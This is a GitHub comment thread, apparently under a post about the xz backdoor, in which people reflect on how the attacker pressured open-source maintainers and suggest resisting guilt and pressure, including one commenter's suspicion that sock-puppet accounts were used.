The social engineering aspect of this was mentioned on a mastodon thread, which I think every project contributor should take to heart:

RT Carol (Nichols || Goulding) ꙮ @carol@crabby.fyi

the lesson I'm choosing to take from xz, as an oss maintainer, is that anyone trying to pressure or guilt me into doing something should immediately be told no, for security reasons

RT mybarkingdogs @mybarkingdogs@freeradical.zone

@ carol This is literally a good lesson for EVERYONE in anything, not even just software.

Giving into pressure/guilt is DANGEROUS

In personal relationships, it's one of the worst mistakes: it tells an abuser/manipulator you're a target.

In anything financial, it's often a baited hook for a scam

In politics it gets you pulled into anything from outright far-right fascist bullshit like qanon to "left" (but not really left, obviously!) groups that are state-sponsored ops or personality cults

@gh-nate
Copy link

gh-nate commented Apr 2, 2024

@thesamesam
Copy link
Author

@gh-nate That looks wonderful. I'll add it now.

@thesamesam
Copy link
Author

@thijskh Fixing, thanks!

@dong-zeyu
Copy link

I believe Jia used a similar trick when first introducing the IFUNC implementation. User hansjans162 (I suspect it's just another identity of Jia) created the PR for IFUNC implementation instead of Jia himself, and Jia was below to emphasis the importance and made many suggestions. Then the situation became 2:1 and made Larhzu harder to refuse the PR even though he raised some concerns.

In a more general perspective, most maintainers will (implicitly) rate the importance of an issue/PR by the number of comments/upvotes/watches/etc. So an attacker can easily create some dummy identities to increase the exposure of the issue to the maintainers (like how Debian package maintainers were pressured) and even affect the decision of the maintainers.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment